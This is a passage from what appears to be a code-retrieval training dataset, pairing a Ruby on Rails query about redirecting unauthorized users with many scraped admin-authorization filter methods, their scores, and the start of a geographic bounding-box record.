"def redirect_if_not_an_admin\n return if current_user.admin?\n flash[:danger] = 'Access denied.'\n redirect_to root_path\n end",
"def check_admin\n if not ensure_admin\n redirect_to root_url, alert: \"you are not authorized\"\n end # end if\n end",
"def redirect_non_admins_to\n \"/\"\n end",
"def authorize_admin\n redirect_to(:controller => 'main', :action => 'index') and return false unless @logged_in_user.is_admin?\n end",
"def check_admin\n redirect_to :root unless current_user.admin?\n end",
"def admin!\n redirect_to root_path, alert: \"Not authorized\" and return unless is_admin?\n end",
"def check_user_before_action\n @blog = Blog.find(params[:id])\n if (current_user != @blog.user) and (@blog.global == false)\n redirect_to({ action: \"index\" }, notice: \"You don't have sufficient permissions\")\n\n end\n end",
"def restrict_access\n redirect_to root_path if is_superuser_or_admin? == false\n end",
"def authorise_admin\n redirect_to root_path, alert: \"You are not authorised to access that page\" if current_user.try(:admin?) != true\n end",
"def admin_check\n render_401 && return unless current_user\n render_403 && return unless current_user.admin?\n end",
"def admin_required!\n if current_user.blank?\n redirect_to new_user_session_path, :flash => {:notice => \"Please login to access that page.\"}\n elsif !current_user.is_superadmin? && !current_user.is_admin?\n redirect_to root_path, :flash => {:notice => \"You are not authorized user to access that page.\"}\n end\n end",
"def require_admin\n redirect_to(root_path) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\nend",
"def admin_only\n return if admin_user?\n\n add_message 'Insufficient permission to view page'\n redirect_to '/'\n end",
"def require_admin\n if logged_in? and !current_user.admin?\n #flash[:danger] = 'Only admin users can perform that action'\n redirect_to root_path\n end\n end",
"def Usuario_noAdmin\n redirect_to(root_url) if current_usuario.admin?\n end",
"def require_admin_privileges\n\t\tredirect_to root_path unless is_global_admin?\n\tend",
"def kick_not_admin\n\t\tunless current_user and current_user.is_admin?\n\t\t\tflash[:notice] = \"Zaloguj się jako administrator aby obejrzeć stronę\"\n\t\t\tredirect_back_or_default('/')\n\t\tend\n\tend",
"def ensure_admin_user\n redirect_to dashboard_index_path unless is_admin?\n end",
"def authorize_admin\n return unless !current_admin\n redirect_to root_path, alert: 'Admins only!'\n end",
"def authorize_admin\n redirect_to root_path, notice: \"You don't have access to admin pages.\" if !current_user.admin?\n end",
"def permission_required \n render_403 unless admin? || @user == current_user\n end",
"def admin_user\n if logged_in?\n redirect_to root_url unless current_user.admin?\n elsif\n #flash[:failure] = \"Invalid Request\"\n redirect_to(root_url)\n end\n end",
"def admin_user\n if logged_in?\n redirect_to root_url unless current_user.admin?\n elsif\n #flash[:failure] = \"Invalid Request\"\n redirect_to(root_url)\n end\n end",
"def ensure_author_is_admin\n unless current_author_is_admin?\n redirect_to :root\n end \n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def require_admin\n if logged_in? and !current_user\n flash[:danger] = \"Only admin users can perform that action.\"\n redirect_to root_path\n end\n end",
"def authorizeAdmin\n redirect_to '/adminlogin' unless admin_user\n end",
"def admin_required\n redirect_to(\"/\") unless admin?\n end",
"def authorized\n\t unless admin?\n\t redirect_to root_path\n\t end\n end",
"def redirect_unless_user_is_admin\n unless current_user_is_admin?\n flash[:alert] = \"You do not have permission to view that page.\"\n redirect_to root_url\n end\n end",
"def check_admin\n if !current_user.admin?\n flash[:error] = \"You dont have access to this Page!!!!!\"\n redirect_to root_path\n end\n end",
"def admin_user\n redirect_to(root_path) unless current_user.admin?\n end",
"def check_permissions\n redirect_to index_path, alert: lack_permission_msg unless admin_or_organizer?\n end",
"def restrict_to_admin\n unless is_admin\n flash[:danger] = \"You are not an administrator.\"\n redirect_to root_url\n end\n end",
"def require_admin\n redirect_to root_path unless admin_logged_in?\n end",
"def admin_user\n redirect_to(root_url) unless correct_user.admin? \n end",
"def admin_only\n unless current_user.admin?\n redirect_to :back, :alert => \"Access denied.\"\n end\n end",
"def admin_required\n if current_user && current_user.admin\n return\n end\n redirect_to \"/login\", notice: 'Logga in som administratör.'\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n \n end",
"def w000thenticate_admin!\n check_token\n authenticate_user!\n raise AbstractController::ActionNotFound unless current_user.admin?\n end",
"def check_permission\n redirect_to dashboard_path, notice: 'You are not authorised to perform this action.' unless current_user&.admin?\n end",
"def authorize_admin\n return unless !current_user.admin?\n redirect_to root_path, alert: 'Admins only!'\n end",
"def authorize_admin\n return unless !current_user.admin?\n redirect_to root_path, alert: 'Admins only!'\n end",
"def admin_only!\n\tif !current_user || !current_user.administrator\n\t\tredirect \"/\"\n\tend\nend",
"def check_use\r\n if !(current_user.role.name==\"admin\")\r\n redirect_to frontend_root_path,\r\n notice: \"URL not found\"\r\n end\r\n end",
"def admins_only\n if current_user.nil? or !current_user.is_admin?\n # Silently redirect, no need to tell anyone why. If they're\n # not an admin, they have no business here\n redirect_to root_path\n end\n end",
"def authorize?\n unless admin?\n flash[:error] = \"unauthorized access\"\n redirect_to 'root' \n false\n end\n end",
"def admin_authorize\n \tunless User.find(session[:user_id]).user_type == \"admin\"\n \t\tsession[:original_uri] = nil\n\t\t flash[:warning] = \"You are not authorized to view this page!\"\n\t\t redirect_to(root_path)\n \tend\n end",
"def require_admin_or_correct_user\n @user = User.find(params[:id])\n flash[:error] = \"Access Denied\"\n redirect_to(root_url) unless (current_user.id == @user.id || is_admin?)\n end",
"def ensure_admin_user!\n redirect_to(enemy_templates_path, :alert => \"You may not perform this action on enemies!\") and return unless current_user.admin?\n end",
"def authorize_admin\n redirect_to root_path unless current.user.immortal?\n end",
"def authorize_admin\n return unless current_user.admin?\n redirect_to root_path, alert: 'Admins only!'\n end",
"def require_admin\n if current_user.nil?\n redirect_to root_url and return\n elsif !current_user.admin?\n redirect_to root_url and return\n end\n end",
"def ensure_admin_user!\n redirect_to(news_path, :alert => \"You may not perform this action on News!\") and return unless user_signed_in? && current_user.admin?\n end",
"def before_action \n end",
"def adminprotected!\n if authorized? == true and isuseradmin? == true\n return\n else redirect '/denied'\n end\n end",
"def block_admin_action\n redirect_back(fallback_location: root_path, alert: I18n.t('admin.should_not_do_action')) if current_user.admin?\n end",
"def block_admin_action\n redirect_back(fallback_location: root_path, alert: I18n.t('admin.should_not_do_action')) if current_user.admin?\n end",
"def require_admin!\n return if user_signed_in? && current_user.admin?\n\n flash[:error] = t('flash.no_permission')\n redirect_to_root\n end",
"def validate_current_user\n redirect_to :root, alert: \"you must be admin to visit this part\" unless current_user.admin?\n end",
"def redirect_unless_admin\n redirect_to root_path unless current_user && current_user.admin?\n end",
"def check_admin\n redirect_to root_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end",
"def check_admin\n redirect_to root_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end",
"def authenticate_admin_user!\n redirect_to(root_url, :alert => I18n.t('unauthorized.default')) unless current_user.try(:access_admin_section?)\n end",
"def authorize_admin\n redirect_to '/librarians/denied' unless current_user && current_user.admin?\n end",
"def admin_only_view\n if !current_user.is_a? Admin and current_user.type != \"AdminAssistant\"\n flash[:error] = \"You are not authorized to view this page.\"\n redirect_to :root\n # Explictly tell the caller that this check failed\n return false\n else\n # Explictly tell the caller that this check was successful\n return true\n end\n end",
"def require_admin\n unless view_context.admin?\n redirect_to root_url\n end\n end",
"def authorize_admin\r\n unless session[:user_id] and\r\n User.find(session[:user_id]).level == 2\r\n session[:original_uri] = request.request_uri\r\n flash[:notice] = Resource.get(\"access_denied\")\r\n redirect_to(:controller => \"welcome\", :action => \"signin\")\r\n end\r\n end",
"def access_denied\n redirect_to main_app.root_url, alert: \"Not authorized\"\n end",
"def check_for_admin\n\t\tif current_user.nil? || !current_user.is_admin?\n\t\t\tredirect_to root_path, alert:\"You must be an admin to access this path\"\n\t\tend\n\tend",
"def authorize_admin!\n unless admin?\n flash[:alert] = 'Unauthorized access'\n redirect_to home_path\n false\n end\n end",
"def allow_if_admin\n unless is_admin?\n flash[:danger] = \"Administration permissions needed to access to this page\"\n redirect_to new_user_session_path\n end\n end",
"def restrict_developer\n if (controller_name == 'user_sessions' and action_name == 'destroy') or\n (controller_name == 'users' and (action_name == 'edit' || action_name == 'update'))\n return\n end\n if current_user and is_developer \n redirect_to :controller => 'efforts'\n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def not_allowed! redirect = root_url\n raise Exceptional::Unauthorized.new(\"Sorry, I was could not perform the action you requested!\")\n end",
"def access_denied\n redirect_to :controller => \"/usr\", :action => \"login\"\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n\n end",
"def restrict_user_by_role\n unless current_user and current_user.admin?\n redirect_to root_path # change this to your 404 page if needed\n end\n end",
"def authorize_only_for_admin\n unless authorized?(Admin)\n render :file => \"#{RAILS_ROOT}/public/404.html\", \n :status => 404\n end\n end",
"def verify_is_admin\n return unless !current_user.admin?\n redirect_to root_path, alert: 'Admins only!'\n end",
"def admin_required\n if not admin?\n redirect \"/login?#{env[\"REQUEST_PATH\"]}\"\n end\n end",
"def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end",
"def require_admin\n redirect_to root_path unless @current_user.admin?\n end",
"def limit_to_staff\n authenticate_user!\n unless current_user.admin?\n raise ActionController::RoutingError.new('Not Found')\n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin? \n end",
"def authorize\n redirect_to :root, alert: 'You must be logged in to view this page' if current_user.nil?\n end",
"def req_admin\n unless curr_user.admin\n flash[:danger] = \"You must be admin to go there!\"\n redirect_to root_url\n end\n end",
"def check_admin_rights\n unless logged_in? and current_user.is_admin?\n flash[:error] = \"Permiso denegado\"\n redirect_to '/'\n end\n end",
"def require_admin\n\t\tif !logged_in? || (logged_in? && !current_user.admin?)\n\t\t\tflash[:danger] = \"Only Admins can perform that action\"\n\t\t\tredirect_to root_path\n\t\tend\n\tend",
"def admin_user\n \t\tredirect_to(root_url) unless current_user.admin?\n \tend",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def authorize_admin!\n redirect_to login_path unless current_user\n end",
"def authorize_admin\n return if current_customer.admin?\n redirect_to root_path, alert: 'Admins only!' unless current_customer and current_customer.admin?\n end"
] | [
"0.71333754",
"0.7100826",
"0.7033217",
"0.69939905",
"0.69824076",
"0.6979637",
"0.6954579",
"0.69519776",
"0.6905565",
"0.6894634",
"0.68928754",
"0.6885117",
"0.68832487",
"0.6865384",
"0.6850431",
"0.68429655",
"0.6825543",
"0.6825316",
"0.6823738",
"0.68178463",
"0.6815661",
"0.6813717",
"0.68075854",
"0.6805368",
"0.6804424",
"0.6802612",
"0.67984885",
"0.67984885",
"0.6797713",
"0.679726",
"0.6790014",
"0.67894477",
"0.6788468",
"0.6787638",
"0.6785314",
"0.6773945",
"0.67652464",
"0.6761145",
"0.6759811",
"0.6753297",
"0.6748662",
"0.6747194",
"0.6740335",
"0.6737573",
"0.67375165",
"0.67353094",
"0.67270803",
"0.672428",
"0.672428",
"0.6718799",
"0.67172855",
"0.67171973",
"0.6714778",
"0.67123324",
"0.67112833",
"0.67110795",
"0.6704976",
"0.6702372",
"0.67004246",
"0.6700235",
"0.669041",
"0.6688233",
"0.6686658",
"0.6686658",
"0.66864747",
"0.6686294",
"0.6683566",
"0.66834503",
"0.66834503",
"0.6678772",
"0.66762364",
"0.66745716",
"0.66703176",
"0.6661958",
"0.6651169",
"0.6650462",
"0.66473925",
"0.664623",
"0.6644576",
"0.6644502",
"0.6644294",
"0.6643429",
"0.6643155",
"0.6642367",
"0.66407347",
"0.664067",
"0.66376954",
"0.6628476",
"0.6624742",
"0.66220266",
"0.66218674",
"0.66215056",
"0.66212595",
"0.66196865",
"0.6616763",
"0.661341",
"0.6613122",
"0.6613122",
"0.6613122",
"0.66119885",
"0.6608191"
] | 0.0 | -1 |
helper for my helper, kick user back to url, display error msg | def bounce_chumps(msg, url=root_url)
flash[:danger] = msg
redirect_to root_url
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fail_to_post_im\n redirect_to user_session_path, notice: \"Nickname is not valid!\"\n end",
"def failure\n redirect_to login_path, notice: \"Sorry, something went wrong. Please try logging in again.\"\n end",
"def failure\n redirect_to login_path, notice: \"Sorry, something went wrong. Please try logging in again.\"\n end",
"def show_errors\n # TODO: redirect to the member's meeting list?\n redirect_to meetings_path\n end",
"def error!(url); end",
"def failure\n\n\t\t# do a clever redirect here!\n\t\tredirect_to root_url, :notice => \"Failed Authentication\"\n\n\tend",
"def failure\n redirect_to root_path\n end",
"def failure\n redirect_to root_path\n end",
"def user_not_authorized\n #flash[:alert] = \"You are not cool enough to do this - go back from whence you came.\"\n redirect_to root_path\n end",
"def invalid_page\n redirect_to(:back)\n end",
"def failure\n redirect_to :back, flash: { danger: 'Not authorized.' }\n end",
"def failure\n redirect_to root_url, alert: \"identity failed, please try again.\"\n end",
"def permission_denied \n flash[:error] = \"Извините, у вас нет доступа к этой странице.\" \n redirect_to ('/')\n end",
"def return_safely_to_page(msg = nil, in_errors = nil)\n begin\n flash[:notice] = msg if msg\n flash[:errors] = in_errors if in_errors\n redirect_to(:action=>'index' )\n rescue\n flash[:errors] = \"Error in site navigation, the procedure was completed though\"\n redirect_to(:action=>'index' )\n end\n end",
"def return_safely_to_page(msg = nil, in_errors = nil)\n begin\n flash[:notice] = msg if msg\n flash[:errors] = in_errors if in_errors\n redirect_to :back\n rescue\n flash[:errors] = \"Error in site navigation, the procedure was completed though\"\n redirect_to(pattern_path)\n end\n end",
"def nice_try\n redirect_to jingles_path, alert: t('flash.alert.nice_try')\n end",
"def failure\n redirect_to new_user_session_path, alert: \"無法取得認證!\"\n end",
"def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to :back\n end\n rescue ActionController::RedirectBackError\n redirect_to root_path \n end",
"def auth_failure\n redirect_to '/', :alert => params[:message]\nend",
"def failure\n redirect_to new_user_registration_url, notice: 'something went wrong!'\n end",
"def failure\n puts \"----------error with sign in\"\n redirect_to root_path\n end",
"def show_error (error_message, return_to_address)\n flash[:notice]= error_message\n render(return_to_address)\n end",
"def show_error (error_message, return_to_address)\n flash[:notice]= error_message\n render(return_to_address)\n end",
"def show_error (error_message, return_to_address)\n flash[:notice]= error_message\n render(return_to_address)\n end",
"def failure\n flash[:notice] = \"Login Failure to Bidtastic\"\n redirect_to root_path\n end",
"def access_denied\n store_location\n if session[:userid]\n redirect_to :new_user\n else\n redirect_to :login\n end\n end",
"def bad_url_redirect\n flash[:error] = 'That URL does not exist.'\n redirect_to root_url\n end",
"def user_not_authorized(e)\n flash[:error] = \"Please enroll in the class to see this content.\"\n redirect_to @course\n end",
"def failure\n flash[:error] = 'There was a problem signing you in. Please register or try signing in later.' \n redirect_to new_user_session_url\n end",
"def repel_usr_guest\n redirect_to(\"/\") if session[:usr_id].nil?\n end",
"def error(url); end",
"def access_denied\n redirect_to :controller => \"/usr\", :action => \"login\"\n end",
"def err_mex \n flash.now[:notice] = \"Non sei il possessore di questo feed e non detieni i privilegi per alterarlo!\" \t\t\t\n render \"show\"\n end",
"def unavailable! redirect = root_path\n raise Exceptional::NotAllowed.new(\"Sorry, I was unable to perform the action you requested!\")\n end",
"def show_errors\n # TODO: redirect to the member's book list?\n redirect_to books_path\n end",
"def invalid_tenant\n flash[:error] = \"Wrong tenant access\"\n redirect_back\n end",
"def redirect?; end",
"def redirect_ok; end",
"def redirect_ok; end",
"def access_denied(msg=MESSAGE_INSUFFICIENT_RIGHTS)\n flash[:error] = msg\n redirect_to root_url\n return false\n end",
"def permission_denied\n flash[:error] = 'Sorry, your account has insufficient privileges for the requested resource.'\n redirect_to :root\n end",
"def permission_denied\n flash[:error] = 'Sorry, your account has insufficient privileges for the requested resource.'\n redirect_to :root\n end",
"def when_i_submit_bad_url\n given_i_am_signed_in\n # shouldn't get to the stage of finding\n submit_url 'http://thisisspam.com/fake-viagra.html'\nend",
"def failure\n flash[:error] = params[:message]\n redirect_to :action=>'login'\n end",
"def guest_user\n return if current_user.id == params[:user_id].to_i\n\n flash[:danger] = 'access denied: you are not the correct user.'\n redirect_to root_url\n end",
"def access_denied\n redirect_to login_path, :notice => \"Veuillez vous enregistrer pour continuer\" and return false\n end",
"def failure\n flash[:error] = \"Could not authenticate with #{params[:strategy]}\"\n return redirect_to \"/\"\n end",
"def failure\n\t\tredirect_to(@@extension_url + '?access_token=' + 'failure')\n\tend",
"def accounts_not_available\n flash[:warning] = I18n.t(:user_system_down)\n redirect_to root_url\n end",
"def access_denied\n flash.clear\n flash[:error] = 'Oops. You need to login before you can view that page.'\n \n params[:bl_return_to_action] = params[:action]\n @state = 1\n \n # Set the token\n# check_url_source\n# check_token\n \n redirect_to :controller => 'bookmarklet', :action => 'bl_login'\n end",
"def checkUsername(user)\n\tunless user\n\t\tredirect('/loginerror')\n\tend\nend",
"def permission_denied\n flash[:error] = \"Sorry, you are not allowed to access this module\"\n redirect_to :controller=>\"dashboard\"\n end",
"def access_denied\n flash[:danger] = \"Access denied. Please log in.\"\n redirect_to login_path\n end",
"def correct_user; redirect_to root_url, flash: {success: \"Permission denied!\"} unless current_user? load_micropost.user end",
"def prevent_login_signup\n if session[:user_id]\n redirect_to :back, notice: \"You are already logged in\"\n # what do you think redirect_to :back does?\n end\n end",
"def prevent_login_signup\n if session[:user_id]\n redirect_to :back, notice: \"You are already logged in\"\n # what do you think redirect_to :back does?\n end\n end",
"def access_denied\n redirect_to signin_url\n end",
"def admin_user\n if logged_in?\n redirect_to root_url unless current_user.admin?\n elsif\n #flash[:failure] = \"Invalid Request\"\n redirect_to(root_url)\n end\n end",
"def admin_user\n if logged_in?\n redirect_to root_url unless current_user.admin?\n elsif\n #flash[:failure] = \"Invalid Request\"\n redirect_to(root_url)\n end\n end",
"def access_denied(msg)\n flash[:error] = msg\n redirect_to root_path\n end",
"def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform this action\"\n redirect_to :back\n end\n end",
"def user_stray\n if !logged_in? || @user == nil\n flash[:alert] = \"You have been logged out of your session. Please log back in to continue.\"\n redirect \"/\"\n elsif @user.id != current_user.id\n flash[:alert] = \"You do not have permission to view or edit other users' content.\"\n redirect \"/\"\n end\n end",
"def access_denied\n redirect '/login'\n end",
"def access_denied(exception)\n \t\tredirect_to root_path, :alert => exception.message\t\n \tend",
"def user_not_authorized\n \tflash[:alert] = \"You are not authorized to perform this action.\"\n \tredirect_to(request.referrer || root_path)\n end",
"def access_denied!\n render partial: 'errors/401', status: 401 && return\n end",
"def permission_denied\n flash[:error] = \"Usted no tiene permisos para acceder a esta pagina.\"\n redirect_to root_url\n end",
"def access_denied( \n\t\t\tmessage=\"You don't have permission to complete that action.\", \n\t\t\tdefault=root_path )\n\t\tsession[:return_to] = request.url unless params[:format] == 'js'\n\t\tflash[:error] = message\n\t\tredirect_to default\n\tend",
"def access_denied( \n\t\t\tmessage=\"You don't have permission to complete that action.\", \n\t\t\tdefault=root_path )\n\t\tsession[:return_to] = request.url unless params[:format] == 'js'\n\t\tflash[:error] = message\n\t\tredirect_to default\n\tend",
"def deny_wrong_user\n redirect_to signin_path, notice: \"Sorry, you can't access that page.\"\n end",
"def show\n if current_mechanic != @mechanic\n flash[:hack] = \"http://i.stack.imgur.com/SBv4T.gif\"\n flash[:hack_m] = \"YOU SHALL NOT PASS\"\n if user_logged_in?\n redirect_to user_path(current_user)\n else\n redirect_to mechanic_path(current_mechanic)\n end\n end\nend",
"def unauthorized_access\n flash[:notice] = \"Unauthorized access\"\n redirect_to \"/\"\n return false\n end",
"def session_error\n\tflash[:error] = \"Authentication Error\"\n\tputs flash[:error]\n\tredirect_to URI(request.referer).path\nend",
"def access_denied\n clear_session\n redirect_to login_path and return false\n end",
"def access_denied\n redirect_to controller: :users, action: :login\n end",
"def require_user\n #if not logged in \n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n #then redirect them away\n redirect_to login_path\n end\n end",
"def redirect_invalid_user\n if ! params[:login].nil? && (@user.nil? || [email protected]?)\n flash[:warning] = %[The user '#{params[:login]}' #{@user ? \"hasn't been activated\" : \"doesn't exist\"}.]\n redirect_to home_path\n return false\n end\n true\n end",
"def user_not_authorized\n redirect_to((request.referrer || root_path) ,notice: \"Authorization error.\")\n end",
"def access_denied\n flash[:notice] = \"No tiene permisos de acceso\"\n redirect_to :controller=>\"home\", :action =>\"index\"\n end",
"def stop_hammering\n logger.info(\"Rescue from Exceptions::AttemptedHammering\")\n flash[:error] = \"Too many login attempts. This user's account has been timed out. Please try again in an hour.\"\n redirect_to home_path\n end",
"def redirect\n redirect_to volunteershome_url if current_user.volunteer?\n redirect_to serviceusershome_url if current_user.service_user?\n show_browser_alert\n end",
"def error\n\t\t@page_title = '500 Error'\n\t\t@url_path = get_path\n\t\tflash.now[:error] = \"An error occurred while attempting to access ‘#{@path}’.\"\n\t\trender :action=>'error', :status=>'500 Error'\n\tend",
"def access_denied\n redirect_to(new_account_login_path)\n end",
"def continue_bot_questions\n flash[:notice] = \"This feature has been disabled. Please contact to administrator\"\n return redirect_to home_path\n end",
"def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\nend",
"def redirect_unauthenticated\n store_location\n flash[:error] = \"Please sign to access that page\"\n redirect_to root_path\n throw :halt\n end",
"def unauthorized\n\n render_error( :unauthorized )\n\n end",
"def failure\n\t\tp \"Sorry you lose\"\n\tend",
"def user_not_authorized\n flash[:alert] = \"Vous n'êtes pas autorisé à exécuter cette action.\"\n redirect_to(root_path)\n end",
"def route_error\n \t@route_err = \"What the heck! I don't know that one, are you sure that's the address you wanted? Click me to return to the home page.\"\n end",
"def show\n if !session[:username] || session[:username]=='admin1'\n log_out\n respond_to do |format|\n format.html { redirect_to controller: 'admin_controller', action: 'error', notice: 'In valid user access' }\n end\n end \n end",
"def access_denied( \n\t\t\t\tmessage=\"You don't have permission to complete that action.\", \n\t\t\t\tdefault=root_path )\n\t\t\tsession[:return_to] = request.request_uri unless params[:format] == 'js'\n\t\t\tflash[:error] = message\n\t\t\tredirect_to default\n\t\tend",
"def not_allowed! redirect = root_url\n raise Exceptional::Unauthorized.new(\"Sorry, I was could not perform the action you requested!\")\n end",
"def require_user\n return if current_uid\n\n store_location\n flash[:notice] = 'You must be logged in to access the page you requested'\n ret = url_for_with_proto({ controller: 'user_sessions', action: 'guest_login' })\n redirect_to(ret) && return\n end",
"def check_session\n if session[:user_id].nil?\n session[:return_to] = request.request_uri\n flash[:messgae] = \"Please sign-in or sign-up to access any of these pages.\"\n redirect_to :controller => 'user', :action => 'index'\n return\n end\n end",
"def check_contact_info\n @user = current_user\n if @user.invalid?\n return redirect_to edit_user_path(current_user)\n end\n end",
"def access_denied\n #@flash[:notice] = \"Permission denied.\"\n redirect_to :controller=>\"account\", :action =>\"login\"\n end",
"def failure\n redirect_to login_path,\n alert: \"Authentication failed, please try again.\"\n end",
"def deny_access\n store_location\n redirect_to signin_path, :notice => \n\t\t\t\t\t\t\t\"Please sign in to access this page.\"\n end",
"def check_unlogin\n return unless curr_user\n redirect_to articles_path\n end",
"def omzetten\n if @me.can('admin')\n flash[:notice] = 'Geen goed plan lijkt me, verlies je je beheer rechten... '\n redirect_to root_url\n elsif @me.can('xpose')\n redirect_to new_artwork_url\n end\n @user.errors.clear\n end"
] | [
"0.6867748",
"0.6633022",
"0.6633022",
"0.6576034",
"0.6563974",
"0.6549556",
"0.65393645",
"0.65393645",
"0.65298235",
"0.6495355",
"0.64936656",
"0.6435099",
"0.6391476",
"0.63548976",
"0.63439643",
"0.6336845",
"0.6326151",
"0.6293891",
"0.62602246",
"0.62557817",
"0.6254698",
"0.62546134",
"0.62546134",
"0.62546134",
"0.62534374",
"0.62454414",
"0.6238531",
"0.623634",
"0.62360555",
"0.6225299",
"0.6224659",
"0.6208126",
"0.6183131",
"0.6170034",
"0.61678505",
"0.61525846",
"0.61492753",
"0.6144805",
"0.6144805",
"0.6137915",
"0.6121359",
"0.6121359",
"0.61156225",
"0.61083215",
"0.61046183",
"0.61028695",
"0.608855",
"0.6085765",
"0.6079675",
"0.60793096",
"0.60744363",
"0.6067106",
"0.60534286",
"0.60508657",
"0.60461766",
"0.60461766",
"0.60422564",
"0.60412735",
"0.60412735",
"0.6038362",
"0.6037071",
"0.6031163",
"0.6029638",
"0.6029235",
"0.6023478",
"0.60132086",
"0.6013019",
"0.60114753",
"0.60114753",
"0.6008272",
"0.60081357",
"0.60074985",
"0.6004053",
"0.5999272",
"0.5997987",
"0.5993166",
"0.5989251",
"0.59847045",
"0.5970125",
"0.5969013",
"0.5960635",
"0.59341276",
"0.59316283",
"0.59310156",
"0.59289134",
"0.5920424",
"0.59192204",
"0.59171665",
"0.5915917",
"0.59125376",
"0.59056383",
"0.59041685",
"0.59032136",
"0.5901836",
"0.5901078",
"0.5900745",
"0.589902",
"0.5890572",
"0.58801013",
"0.5877538",
"0.58757883"
] | 0.0 | -1 |
Custom identify query def self.identify_query(bbox, radius) scoped.select().where().... end | def bbox
envelope = GeoRuby::SimpleFeatures::Geometry.from_hex_ewkb(extent).envelope #TODO: replace with rgeo
[envelope.lower_corner.x, envelope.lower_corner.y, envelope.upper_corner.x, envelope.upper_corner.y]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def spatial_query(bounds)\n sb = bounds_to_center_radius(bounds)\n if sb.present?\n \"{!spatial lat=#{sb[:center][:latitude]} long=#{sb[:center][:longitude]} radius=#{sb[:radius]} unit=km calc=arc threadCount=2}\"\n else\n \"\"\n end\n end",
"def search_within(bounding_box, query, offset = 0, limit = 5, language = 'english')\n if bounding_box[:sw][:latitude]\n many.search_within(query, language, limit, offset, bounding_box[:sw][:latitude], bounding_box[:sw][:longitude], bounding_box[:ne][:latitude], bounding_box[:ne][:longitude]).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n else\n many.search(query, language, limit, offset).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n end\n end",
"def data(bounding_box)\n top, left, bottom, right = bounding_box.coords\n @table.where(:lng => (left..right), :lat => (bottom..top)).all\n end",
"def coordquery(p)\r\nend",
"def full_search(keywords, options = {})\n latitude = nil\n longitude = nil\n bounds = options[:bounds]\n where = nil\n \n if options[:alternate].blank? && options[:specific].blank? && options[:skip_where].blank?\n where_results = Atlas::Geography.where_am_i(keywords, options.dup)\n \n keywords = where_results[:query]\n where = where_results[:where].models\n \n unless where.blank?\n selected = where.first\n bounds = selected.bounds\n end\n \n options.delete :fq\n \n # The user has indicated that our \"where\" guess was incorrect, and selected another.\n elsif options[:alternate].present?\n selected = Atlas::Geography.find(options[:alternate])\n bounds = selected.bounds \n \n # Record when a user selects an alternate where result, i.e. we got it wrong!\n # Atlas::GeographicQueryLog.create :status => 'alternate', :query => query, :session_id => options[:session_id]\n\n # The user has sent in a specific bounding box in which to search. Presumably the user is looking\n # at a map, dragging it around, and re-performing searches.\n elsif options[:specific].present?\n bounds = options[:specific]\n end\n\n keywords = '*' if keywords.blank?\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n if results.documents.empty? && where.present?\n where[1..-1].each do |geography|\n selected = geography\n envelope = geography.read_attribute(:bounds).envelope\n center = envelope.center\n top_center = center.y + (center.y - envelope.lower_corner.y)\n radius = center.spherical_distance(Point.from_x_y(center.x, top_center)) / 1000.0\n\n results = solr_server.find(\"{!spatial lat=#{center.lat} long=#{center.lng} radius=#{radius} unit=km calc=arc threadCount=2}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n break unless results.documents.empty?\n end\n end\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => selected, :where => where, :query => (keywords == '*' && '' || keywords) }\n end",
"def geo_within_box_query(box)\n {\n '$geoWithin' => {\n '$box' => [[box.w, box.s], [box.e, box.n]]\n }\n }\n end",
"def find(query); end",
"def find(query); end",
"def within_radius(radius: nil, limit: 100)\n # 3959 if miles; 6271 if km\n lat = self.lat\n lng = self.lng\n q = User.select(\"*,\n ( 3959 * acos (\n cos ( radians(#{lat}) )\n * cos( radians( lat ) )\n * cos( radians( lng ) - radians(#{lng}) )\n + sin ( radians(#{lat}) )\n * sin( radians( lat ) )\n )) AS distance\").to_sql\n\n result = User.from(Arel.sql(\"(#{q}) AS users\")).\n where.not(id: self.id).\n order(distance: :desc).\n limit(limit)\n\n result = result.where('distance <= ?', radius) if radius\n result\n end",
"def geo_within_geometry_query(box)\n {\n '$geoWithin' => {\n '$geometry': {\n type: 'Polygon',\n coordinates: to_polygon(box)\n }\n }\n }\n end",
"def to_query\n QUERY_TEMPLATE.sub('BBOX', @global_bbox)\n .sub('QUERY', @overpass_query)\n end",
